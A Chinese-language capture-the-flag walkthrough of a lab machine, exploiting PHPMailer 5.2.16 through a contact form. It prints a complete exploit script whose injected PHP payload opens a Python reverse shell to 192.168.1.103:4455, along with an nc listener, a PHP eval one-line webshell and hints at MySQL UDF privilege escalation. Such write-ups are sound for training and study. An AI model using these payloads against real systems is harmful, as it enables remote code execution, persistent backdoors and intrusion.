优秀的人,不是不合群,而是他们合群的人里面没有你
信息收集
正常端口扫描,然后正常扫描web目录,御剑的字典还是不如dirsearch,以后还是优先使用dirsearch吧
发现目录下存在目录遍历漏洞
点进去找到第一个flag,并且识别cms类型和版本,得到phpmailer 5.2.16
渗透测试
找到漏洞利用exp
老规矩复制到桌面,然后看看怎么利用,修改好就这样
代码如下
from requests_toolbelt import MultipartEncoder
import requests
import os
import base64
from lxml import html as lh
target = 'http://192.168.1.104/contact.php'
backdoor = '/d.php'
payload = '<?php system(\'python -c """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'192.168.1.103\\\',4455));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"])"""\'); ?>'
fields={'action': 'submit',
'name': payload,
'email': '"anarcoder\\\" -OQueueDirectory=/tmp -X/var/www/html/d.php server\" @protonmail.com',
'message': 'Pwned'}
m = MultipartEncoder(fields=fields,
boundary='----WebKitFormBoundaryzXJpHSq4mNy35tHe')
headers={'User-Agent': 'curl/7.47.0',
'Content-Type': m.content_type}
proxies = {'http': 'localhost:8081', 'https':'localhost:8081'}
print('[+] SeNdiNG eVIl SHeLL To TaRGeT....')
r = requests.post(target, data=m.to_string(),
headers=headers)
print('[+] SPaWNiNG eVIL sHeLL..... bOOOOM :D')
r = requests.get(target+backdoor, headers=headers)
if r.status_code == 200:
print('[+] ExPLoITeD ' + target)
然后nc本地监听
nc.exe -lvvp 4455
访问
http://192.168.1.104/contact.php
在访问
http://192.168.1.104/d.php
就会发现nc有shell了,美容一下shell
python -c 'import pty;pty.spawn("/bin/bash")'
还是用小蚂蚁吧,写入一句话
echo '<?php eval($_REQUEST[1]);?>'>1.php
# 记住要用单引号
在www目录下发现flag2
实在找不到flag3,shell下命令寻找
find / -name flag* 2>/dev/null
居然藏在这里,真是害人一顿好找啊!
继续测试提权,发现sudo,suid,都失败了,试一试mysql的udf提权
小蚂蚁的数据库管理登陆
最后在udf提权成功,搜索flag4
find m.php -exec find / -name flag* \; -quit